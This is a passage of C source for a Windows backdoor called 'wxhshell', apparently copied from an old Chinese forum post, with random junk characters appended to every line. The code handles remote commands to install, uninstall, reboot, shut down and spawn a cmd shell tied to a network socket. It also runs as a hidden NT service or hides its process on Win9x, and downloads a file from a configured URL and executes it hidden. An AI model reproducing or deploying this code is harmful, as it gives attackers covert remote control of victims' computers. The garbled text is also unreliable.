    switch(cmd[0]) { S^j,f'2  
  BS2?!;,8  
  // 帮助 1exfCm  
  case '?': { +tU Q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fM ^<+o@  
    break; P%)b+H{$h  
  } yL&/m~{s  
  // 安装 BX3lP v  
  case 'i': { ~L'nz quF  
    if(Install()) a.,_4;'UE1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); % rcFT_  
    else  `{}@@]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VMHC/jlX@r  
    break; fA^SD"xf  
    } it,w^VU_]  
  // 卸载 y x;h  
  case 'r': { 9,WG!4:+W  
    if(Uninstall()) 6?o>{e7n^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VQ<5%+  
    else d~`-AC+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n(R_#,Hs  
    break; D]u=PqHk2  
    } x)R0F\_  
  // 显示 wxhshell 所在路径 9L"?wv  
  case 'p': { jONjt(&N  
    char svExeFile[MAX_PATH]; euZ I`*0  
    strcpy(svExeFile,"\n\r"); x+^Vg3 q  
      strcat(svExeFile,ExeFile); l%<c6;  
        send(wsh,svExeFile,strlen(svExeFile),0); `~nCbUUee  
    break; =]b9X7}  
    } gZ`DT  
  // 重启 W ~NYU  
  case 'b': { }n[Bq#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); , ` o+ ?  
    if(Boot(REBOOT)) U~/ID  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *#h;c1aP  
    else { 3 Gd|YRtk  
    closesocket(wsh); (\& 62B1  
    ExitThread(0); %wW'!p-<  
    } >'Hx1;  
    break; |yv]Y/ =  
    } c&e0OV\m  
  // 关机 ^Y 7U1I  
  case 'd': { ,8VXA +'_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yVYkuO  
    if(Boot(SHUTDOWN)) >76 |:Nq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <Uwwux<v  
    else { U>A6eWhH  
    closesocket(wsh); @p]UvqtB@  
    ExitThread(0); 8\_*1h40s  
    } qTy v.#{y  
    break; KPggDKS  
    } JqEb;NiP)5  
  // 获取shell :8]6#c6`74  
  case 's': { e=J*Esc@k  
    CmdShell(wsh); F*\4l;NJ  
    closesocket(wsh); x4 hO$3o  
    ExitThread(0); `]{Psc6_=  
    break; ,`)OEI|1d  
  } kf K[u/<i  
  // 退出 (9'be\  
  case 'x': { Yb9cW\lr  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z s73 ad  
    CloseIt(wsh); 8A4TAT4,  
    break; 7@a\*|K6  
    } [gn[nP9  
  // 离开 vHc#m@4o  
  case 'q': { `^%@b SE(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4if\5P:j  
    closesocket(wsh); /.@x 4cdS  
    WSACleanup(); . s-5N\  
    exit(1); xB,/dMdTj  
    break; e5L 1er;6  
        } -XW8 LaQB  
  } W5X7FEW  
  } 6sy,A~e  
.hne)K%={y  
  // 提示信息 hgwn> p:S#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oG\>--  
} K0 QH?F  
  } +.K*n&  
%I}'Vb{C  
  return; >#?iO]).  
} kQ[Jo%YT?E  
|Eu*P  
// shell模块句柄 &Ea"hd  
int CmdShell(SOCKET sock) WL/5 oj  
{ R#LGFXUj  
STARTUPINFO si; i'iO H|s  
ZeroMemory(&si,sizeof(si)); nF|Oy0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y9ip[Xn-$:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =h7[E./U1  
PROCESS_INFORMATION ProcessInfo; |?yE^$a  
char cmdline[]="cmd"; xD^wTtT  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E4Zxv*  
  return 0; ?sE@]]z  
} {83C,C-  
O!,Ca1N  
// 自身启动模式 l.uN$B  
int StartFromService(void) Z*Zc]hD  
{ Bs@:rhDi  
typedef struct 8W@dtZ,d  
{ p9Z ].5Pd"  
  DWORD ExitStatus; 9BO|1{  
  DWORD PebBaseAddress; ,3k@L\$.x  
  DWORD AffinityMask; 0}D-KvjyP  
  DWORD BasePriority; 4uPH  
  ULONG UniqueProcessId; H7}g!n?  
  ULONG InheritedFromUniqueProcessId; L9$&-A9ix  
}   PROCESS_BASIC_INFORMATION; T?#s'd  
nfa_8  
PROCNTQSIP NtQueryInformationProcess; '(TmV#3  
[\a:4vDAbi  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cB<O.@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |zh +  
|+u+)C  
  HANDLE             hProcess; "&Gw1.p  
  PROCESS_BASIC_INFORMATION pbi; A`IHP{aB  
\*Ts)EW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  M$F{N  
  if(NULL == hInst ) return 0; L7<+LA)s0  
r(]98a]o~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _tA7=*@8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %6N)G!P  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [0wP\{%  
dD o6fP2  
  if (!NtQueryInformationProcess) return 0; l\_x(BH  
m^'~&!ba  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :q(D(mK  
  if(!hProcess) return 0; L,WkJe3  
)O9fhj)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; WqR7uiCi  
el}hcAY/RP  
  CloseHandle(hProcess); X:U=MWc>  
tg3zXJ4k_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [z^Od  
if(hProcess==NULL) return 0; !ZX&r{pJp  
o>.AdZby  
HMODULE hMod; 2G ZF/9}  
char procName[255]; K[e`t%2_  
unsigned long cbNeeded; 9uKOR7.zbo  
e~3]/BL  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ftxTX3X  
gji*Wq  
  CloseHandle(hProcess); Qg[heND  
b$dBV}0 L  
if(strstr(procName,"services")) return 1; // 以服务启动  8>ESD}(  
xC'mPcU8  
  return 0; // 注册表启动 zf`5>h|  
} - Sx0qi'%  
aXX,Zu^  
// 主模块 4{Q$!O>  
int StartWxhshell(LPSTR lpCmdLine) U7jhV,gO4  
{ kp'b>&9r  
  SOCKET wsl; F|6 nwvgq  
BOOL val=TRUE; ";756'>  
  int port=0; JR] )xPI`  
  struct sockaddr_in door; ,tau9>!  
ix:2Z-  
  if(wscfg.ws_autoins) Install(); 33*^($bE&  
E N)YoVk  
port=atoi(lpCmdLine); KuIkul9^%  
93 [rL+l.Y  
if(port<=0) port=wscfg.ws_port; h>~jQ&\M  
: 2_ 0L  
  WSADATA data; =n)JJS94  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; EK^JLvyT  
s;anP0-O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   UVz=QEuYb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =sxkrih  
  door.sin_family = AF_INET; J 0&zb'1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Tc9&mKVE%(  
  door.sin_port = htons(port); ,?Ok[G!cm  
TFNUv<>X  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j[_t6Z  
closesocket(wsl); Yd[U  
return 1; 3(aRs?/ O  
} MgHOj   
mluW=fE  
  if(listen(wsl,2) == INVALID_SOCKET) { p 7 , f6kG  
closesocket(wsl); 3gC\{y!8  
return 1; dv}8Y H["  
} TihnSb  
  Wxhshell(wsl); {F<)z% ^  
  WSACleanup(); )>ug{M%g  
"w>rlsT<O  
return 0; tX@ 0:RX%  
]^Sd9ba  
} th5 X?so  
C_6GOpl  
// 以NT服务方式启动 5P-K *C&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $Vo/CZW7  
{ 8FAT(f//.  
DWORD   status = 0; ^!q 08`0  
  DWORD   specificError = 0xfffffff; r5D jCV"  
<9=zP/Q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; X'YfjbGo  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qsD?dHi7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !>CE(;E>z  
  serviceStatus.dwWin32ExitCode     = 0; V+Y|4Y&  
  serviceStatus.dwServiceSpecificExitCode = 0; s.f`.o  
  serviceStatus.dwCheckPoint       = 0; d&/^34gn  
  serviceStatus.dwWaitHint       = 0; )C'G2RV  
X7t 5b7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TFAYVK~  
  if (hServiceStatusHandle==0) return; ]\[m=0K  
jn.R.}TT  
status = GetLastError(); @<hF.4,]  
  if (status!=NO_ERROR) ;gZwQ6)i  
{ 2b; rr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; CW.&Y?>Tv  
    serviceStatus.dwCheckPoint       = 0; V*~1,6N [  
    serviceStatus.dwWaitHint       = 0; ,h3269$J  
    serviceStatus.dwWin32ExitCode     = status; J@oEV=L  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?R dmKA  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Mi;}.K0J  
    return; K#_~ !C4L  
  } :&xz5c`"04  
83mlZ1jQz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; NYWG#4D  
  serviceStatus.dwCheckPoint       = 0; (J6" ;  
  serviceStatus.dwWaitHint       = 0; "9c.CI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D2Vb{%(4.  
}  Ask' !  
|z.Gh1GCy  
// 处理NT服务事件,比如:启动、停止 H+S~ bzz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l[tY,Y:4qO  
{ Zkf 3t>[  
switch(fdwControl) O<}ep)mr  
{ }wvwZ`5t  
case SERVICE_CONTROL_STOP: ~5lKL5w  
  serviceStatus.dwWin32ExitCode = 0; Yh}zt H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; LEYWH% y  
  serviceStatus.dwCheckPoint   = 0; %1Vu=zCAW  
  serviceStatus.dwWaitHint     = 0; v[0DE*p  
  { E"Ya-8d=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M'pb8jf  
  } 2#>$%[   
  return; ..vSL  
case SERVICE_CONTROL_PAUSE: o?:;8]sr!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;X?Ah  
  break; s`$NW^']  
case SERVICE_CONTROL_CONTINUE: ;cM8EU^.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; i_j9/k  
  break; 1Z^`l6|2  
case SERVICE_CONTROL_INTERROGATE: 4M;sD;3  
  break; tQNk=}VR7r  
}; Tns?mQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @rnp- +kq  
} jxRF"GD  
8@Egy%_  
// 标准应用程序主函数 /#S4espE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W&fW5af9  
{ @4 zi]v  
I-RdAVB/Ep  
// 获取操作系统版本 D6&mf2'u  
OsIsNt=GetOsVer(); $nUd\B$.=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6{JR0  
k#1`  
  // 从命令行安装 Jngll  
  if(strpbrk(lpCmdLine,"iI")) Install(); D8r>a"gx  
P<j4\zJ  
  // 下载执行文件 &{-oA_@  
if(wscfg.ws_downexe) { M/::`yJQu  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p)?qJ2c|  
  WinExec(wscfg.ws_filenam,SW_HIDE); fe& t-  
} SR&(HH$  
R9b/?*%=9  
if(!OsIsNt) { !$:0E y(S  
// 如果时win9x,隐藏进程并且设置为注册表启动 M iP[UCh  
HideProc(); d1srV`  
StartWxhshell(lpCmdLine); "_ PH"W  
} !SLP8|Cd  
else RZ#alFL,  
  if(StartFromService()) JfZL?D{NM  
  // 以服务方式启动 C?GvTc  
  StartServiceCtrlDispatcher(DispatchTable); LG/=+[\{E  
else )0 Y #-=.<  
  // 普通方式启动 TIK/%T  
  StartWxhshell(lpCmdLine); A%NK0j$;}  
1M%{Uqsd-  
return 0; G"T;l"TAt8  
}
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只看该作者 1 发表于: 2006-10-10
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